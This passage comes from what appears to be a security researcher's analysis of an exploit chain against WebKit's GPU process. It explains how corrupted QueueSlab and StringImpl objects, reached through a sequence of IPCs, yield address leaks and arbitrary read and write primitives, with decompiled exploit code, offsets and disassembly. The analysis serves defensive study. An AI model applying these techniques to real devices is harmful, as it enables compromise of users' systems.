<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">draw_image_</span><span> then passes this allocation as the first argument to </span><span class="YrefKOOkxY-c3">CA::CG::DrawImage::DrawImage</span><span> (with the </span><span class="YrefKOOkxY-c3">cachedImage</span><span class="YrefKOOkxY-c5"> pointer as the final argument.)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">int64 CA::CG::DrawImage::DrawImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 slab_buf,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a2,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a3,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a4,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a5,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> OWORD *a6,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGImage *img)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">(slab_buf + 0x78) = CGImageRetain(img);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">DrawImage</span><span> writes the pointer to the </span><span class="YrefKOOkxY-c3">cachedImage</span><span> object to </span><span class="YrefKOOkxY-c3">+0x78</span><span> in the fake slab allocation, which happens now to exactly overlap </span><span class="YrefKOOkxY-c3">WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current</span><span>. This has the effect of replacing the current value of the </span><span class="YrefKOOkxY-c3">::current</span><span> monotonic counter with the address of the cached </span><span class="YrefKOOkxY-c3">NativeImage</span><span class="YrefKOOkxY-c5"> object.</span></p><h3 class="YrefKOOkxY-c6" id="h.owlcrftmhivu"><span class="YrefKOOkxY-c10">IPC 4 - CreateCDM</span></h3>
<p class="YrefKOOkxY-c2"><span>The final step in this section is to then call any IPC which causes the GPU process to allocate a new identifier using </span><span class="YrefKOOkxY-c3">generateIdentifierInternal</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">interesting_identifier = IPC_RemoteCDMFactoryProxy_CreateCDM();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>If the new identifier is greater than </span><span class="YrefKOOkxY-c3">0x10000</span><span> they mask off the lower 4 bits and have successfully disclosed the remote address of the cached </span><span class="YrefKOOkxY-c3">NativeImage</span><span class="YrefKOOkxY-c5"> object.</span></p><h3 class="YrefKOOkxY-c6" id="h.58ehstxo8wtt"><span class="YrefKOOkxY-c10">Over and over - arbitrary read</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The next stage is to build an arbitrary read primitive, this time using 5 IPCs:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p><ol class="c8 lst-kix_fcb9u51bqgft-0 start" start="1"><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">MapAsync</span><span class="YrefKOOkxY-c5"> - sets up the destination pointer for the overflow</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">Unmap</span><span class="YrefKOOkxY-c5"> - performs the overflow, corrupting queue metadata</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">SetCTM</span><span class="YrefKOOkxY-c5"> - sets up parameters</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">FillRect</span><span class="YrefKOOkxY-c5"> - writes the parameters through a controlled pointer</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">CreateRecorder</span><span class="YrefKOOkxY-c5"> - returns data read from an arbitrary address </span></li></ol><h3 class="YrefKOOkxY-c6" id="h.qa1jg4ybv3il"><span class="YrefKOOkxY-c10">Arbitrary read IPC 1 & 2: MapAsync/Unmap</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">MapAsync</span><span> and </span><span class="YrefKOOkxY-c3">Unmap</span><span> are used to again corrupt the same </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> object, but this time the queue slab buffer pointer is corrupted to point </span><span class="YrefKOOkxY-c3">0x18</span><span class="YrefKOOkxY-c5"> bytes below the following symbol:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">WebCore::MediaRecorderPrivateWriter::mimeType(void)const::$_11::operator() const(void)::impl</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Specifically, that symbol is the constant </span><span class="YrefKOOkxY-c3">StringImpl</span><span> object for the "</span><span class="YrefKOOkxY-c3">audio/mp4</span><span class="YrefKOOkxY-c5">" string returned by reference from this function:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">const String&</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">MediaRecorderPrivateWriter::mimeType() const {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> static NeverDestroyed<const String> </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> audioMP4(MAKE_STATIC_STRING_IMPL("audio/mp4"));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> static NeverDestroyed<const String></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> videoMP4(MAKE_STATIC_STRING_IMPL("video/mp4"));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return m_hasVideo ? videoMP4 : audioMP4;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Concretely this is a </span><span class="YrefKOOkxY-c3">StringImplShape</span><span class="YrefKOOkxY-c5"> object with this layout:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">class STRING_IMPL_ALIGNMENT StringImplShape {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned m_refCount;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned m_length;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> union {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const LChar* m_data8;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const UChar* m_data16;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const char* m_data8Char;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const char16_t* m_data16Char;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> };</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mutable unsigned m_hashAndFlags;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">};</span></p><h3 class="YrefKOOkxY-c6" id="h.vjez36jznvru"><span class="YrefKOOkxY-c10">Arbitrary read IPC 3: SetCTM</span></h3>
<p class="YrefKOOkxY-c2"><span>The next IPC is </span><span class="YrefKOOkxY-c3">RemoteDisplayListRecorder::SetCTM</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteDisplayListRecorder NotRefCounted Stream {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> SetCTM(WebCore::AffineTransform ctm) StreamBatched</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">CTM</span><span> is the "Current Transform Matrix" and the </span><span class="YrefKOOkxY-c3">WebCore::AffineTransform</span><span class="YrefKOOkxY-c5"> object passed as the argument is a simple struct with 6 double values defining an affine transformation.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The exploit IPC wrapper function takes two arguments in addition to the image buffer id, and from the surrounding context it's clear that they must be a length and pointer for the arbitrary read:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDisplayListRecorder_SetCTM(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> candidate_corrupted_target_image_buffer_id,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (read_this_much << 32) | 0x100,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read_from_here);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The wrapper passes those two 64-bit values as the first two "doubles" in the IPC. On the receiver side the implementation doesn't do much apart from directly store those affine transform parameters into the </span><span class="YrefKOOkxY-c3">CGContext</span><span>'s </span><span class="YrefKOOkxY-c3">CGState</span><span class="YrefKOOkxY-c5"> object:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">setCTM(const WebCore::AffineTransform& transform) final</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> GraphicsContextCG::setCTM(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_inverseImmutableBaseTransform * transform);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">GraphicsContextCG::setCTM(const AffineTransform& transform)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGContextSetCTM(platformContext(), transform);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_data->setCTM(transform);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_data->m_userToDeviceTransformKnownToBeIdentity = false;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Reversing </span><span class="YrefKOOkxY-c3">CGContextSetCTM</span><span> we see that the transform is just stored into a </span><span class="YrefKOOkxY-c3">0x30</span><span> byte field at offset </span><span class="YrefKOOkxY-c3">+0x18</span><span> in the </span><span class="YrefKOOkxY-c3">CGContext</span><span>'s </span><span class="YrefKOOkxY-c3">CGGState</span><span> object (at </span><span class="YrefKOOkxY-c3">+0x60</span><span> in the </span><span class="YrefKOOkxY-c3">CGContext</span><span class="YrefKOOkxY-c5">):</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CD4 EXPORT _CGContextSetCTM </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CD4 MOV X8, X0</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CD8 CBZ X0, loc_188B55D0C</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CDC LDR W9, [X8,#0x10]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CE0 MOV W10, #'CTXT'</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CE8 CMP W9, W10</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CEC B.NE loc_188B55D0C</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CF0 LDR X8, [X8,#0x60]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CF4 LDP Q0, Q1, [X1]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CF8 LDR Q2, [X1,#0x20]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CFC STUR Q2, [X8,#0x38]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55D00 STUR Q1, [X8,#0x28]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55D04 STUR Q0, [X8,#0x18]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55D08 RET</span></p><h3 class="YrefKOOkxY-c6" id="h.v6tfktqkjh0f"><span class="YrefKOOkxY-c10">Arbitrary read IPC 4: FillRect</span></h3>
<p class="YrefKOOkxY-c2"><span>This IPC takes a similar path to the </span><span class="YrefKOOkxY-c3">DrawNativeImage</span><span> IPC discussed earlier. It allocates a new buffer from the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> with the value returned by </span><span class="YrefKOOkxY-c3">CA::CG::Queue::alloc</span><span> this time now pointing 8 bytes below the "</span><span class="YrefKOOkxY-c3">audio/mp4</span><span>" </span><span class="YrefKOOkxY-c3">StringImpl</span><span>. </span><span class="YrefKOOkxY-c3">FillRect</span><span class="YrefKOOkxY-c5"> eventually reaches this code </span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CA::CG::DrawOp::DrawOp(slab_ptr, a1, a3, CGGState, a5, v24);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CTM_2 = (_OWORD *)CGGStateGetCTM_2(CGGGState);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v13 = CTM_2[1];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v12 = CTM_2[2];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *(_OWORD *)(slab_ptr + 8) = *CTM_2;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *(_OWORD *)(slab_ptr + 0x18) = v13;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *(_OWORD *)(slab_ptr + 0x28) = v12;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>…which just directly copies the 6 </span><span class="YrefKOOkxY-c3">CTM</span><span> doubles to offset </span><span class="YrefKOOkxY-c3">+8</span><span> in the allocation returned by the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span>, which overlaps completely with the </span><span class="YrefKOOkxY-c3">StringImpl</span><span class="YrefKOOkxY-c5">, corrupting the string length and buffer pointer.</span></p><h3 class="YrefKOOkxY-c6" id="h.ot40gdnkfnyh"><span class="YrefKOOkxY-c10">Arbitrary read IPC 5: CreateRecorder</span></h3>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteMediaRecorderManager NotRefCounted {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CreateRecorder(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebKit::MediaRecorderIdentifier id,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool hasAudio,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool hasVideo,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> struct WebCore::MediaRecorderPrivateOptions options)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> -></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ( std::optional<WebCore::ExceptionData> creationError,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> String mimeType,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned audioBitRate,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned videoBitRate)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ReleaseRecorder(WebKit::MediaRecorderIdentifier id)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">CreateRecorder</span><span> IPC returns, among other things, the contents of the </span><span class="YrefKOOkxY-c3">mimeType</span><span> </span><span class="YrefKOOkxY-c3">String</span><span> which </span><span class="YrefKOOkxY-c3">FillRect</span><span class="YrefKOOkxY-c5"> corrupted to point to an arbitrary location, yielding the arbitrary read primitive.</span></p><h3 class="YrefKOOkxY-c6" id="h.23fai3fxyl82"><span class="YrefKOOkxY-c10">What to read?</span></h3>
<p class="YrefKOOkxY-c2"><span>Recall that the </span><span class="YrefKOOkxY-c3">cacheNativeImage</span><span> operation was sandwiched between the allocation of 400 </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span> objects via the </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span class="YrefKOOkxY-c5"> IPC.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Note that earlier (for the </span><span class="YrefKOOkxY-c3">MapAsync</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span> corruption) it was the backing buffer pages of the RemoteBuffer which were the groom target - that's not the case for the memory disclosure. The target is instead the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span> object which is the wrapper object which points to those backing pages. These are also allocated by during the </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span> IPC calls. Crucially, these wrapper objects are allocated by the default malloc implementation, which is </span><span class="YrefKOOkxY-c3">malloc_zone_malloc</span><span> using the default ("scalable") zone. </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://twitter.com/elvanderb">@elvanderb</a></span><span> covered the operation of this heap allocator in their </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf">"Heapple Pie" presentation</a></span><span>. Provided that the targeted allocation size's freelist is empty this zone will allocate upwards, making it likely that the </span><span class="YrefKOOkxY-c3">NativeImage</span><span> and </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span class="YrefKOOkxY-c5"> objects will be near each other in virtual memory.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They use the arbitrary read primitive to read 3 pages of data from the GPU process, starting from the address of the cached </span><span class="YrefKOOkxY-c3">NativeImage</span><span> and they search for a pointer to the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span class="YrefKOOkxY-c5"> Objective-C isa pointer (masking out any PAC bits):</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for ( ii = 0; ii < 0x1800; ++ii ) { </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( ((leaker_buffer_contents[ii] >> 8) & 0xFFFFFFFF0LL) ==</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (AGXMetalG15::_OBJC_CLASS___AGXG15FamilyBuffer & 0xFFFFFFFF0LL) )</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p><h3 class="YrefKOOkxY-c6" id="h.cug608urk16w"><span class="YrefKOOkxY-c10">What to write?</span></h3>
<p class="YrefKOOkxY-c2"><span>If the search is successful they now know the absolute address of one of the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span> objects - but at this point they don't know which of the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> objects it corresponds to..</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They use the same </span><span class="YrefKOOkxY-c3">Map</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span>/</span><span class="YrefKOOkxY-c3">SetCTM</span><span>/</span><span class="YrefKOOkxY-c3">FillRect</span><span> IPCs as in the setup for the arbitrary read to write the address of </span><span class="YrefKOOkxY-c3">WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current</span><span> (the monotonic unique id counter seen earlier) into the field at </span><span class="YrefKOOkxY-c3">+0x98</span><span> of the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Looking at the class hierarchy of </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span> (</span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer : AGXBuffer : IOGPUMetalBuffer : IOGPUMetalResource : _MTLResource : _MTLObjectWithLabel : NSObject</span><span>) we find that </span><span class="YrefKOOkxY-c3">+0x98</span><span> is the </span><span class="YrefKOOkxY-c3">virtualAddress</span><span> property of </span><span class="YrefKOOkxY-c3">IOGPUMetalResource</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@interface IOGPUMetalResource : _MTLResource <MTLResourceSPI> {</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOGPUMetalResource* _res;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOGPUMetalResource* next;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOGPUMetalResource* prev;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned long long uniqueId;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (readonly) _IOGPUResource* resourceRef; </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (nonatomic,readonly) void* virtualAddress; </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (nonatomic,readonly) unsigned long long gpuAddress; </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (nonatomic,readonly) unsigned resourceID; </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (nonatomic,readonly) unsigned long long resourceSize; </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (readonly) unsigned long long cpuCacheMode; </span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>I mentioned earlier that the destination pointer for the </span><span class="YrefKOOkxY-c3">MapAsync</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span> bad </span><span class="YrefKOOkxY-c3">memcpy</span><span> was calculated from a buffer property called </span><span class="YrefKOOkxY-c3">contents</span><span>, not </span><span class="YrefKOOkxY-c3">virtualAddress</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> return static_cast<char*>(</span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">m_buffer.contents</span><span class="YrefKOOkxY-c3">) + offset;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Dot syntax in Objective-C is syntactic sugar around calling an accessor method and the </span><span class="YrefKOOkxY-c3">contents</span><span> </span><span>accessor</span><span> directly calls the </span><span class="YrefKOOkxY-c3">virtualAddress</span><span class="YrefKOOkxY-c5"> accessor, which returns the virtualAddress field:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void* -[IOGPUMetalBuffer contents]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> B _objc_msgSend$virtualAddress_1<br></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[IOGPUMetalResource virtualAddress]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ADRP X8, #_OBJC_IVAR_$_IOGPUMetalResource._res@PAGE</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">LDRSW X8, [X8,#_OBJC_IVAR_$_IOGPUMetalResource._res@PAGEOFF] ; 0x18</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ADD X8, X0, X8</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">LDR X0, [X8,#0x80]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RET</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They then loop through each of the candidate </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span> objects, mapping the beginning then unmapping with an 8 byte buffer, causing a write of a sentinel value through the potentially corrupted </span><span class="YrefKOOkxY-c3">IOGPUMetalResource::virtualAddress</span><span class="YrefKOOkxY-c5"> field:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for ( jj = 200; jj < 400; ++jj )</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sentinel = 0x3A30DD9DLL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_MapAsync(remote_device_after_base_id + jj, 0LL, 0LL);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_Unmap(remote_device_after_base_id + jj, &sentinel, 8LL);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> semaphore_signal(semaphore_a);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CDM = IPC_RemoteCDMFactoryProxy_CreateCDM();</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( CDM >= 0x3A30DD9E && CDM <= 0x3A30DF65 ) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ...</span></p>
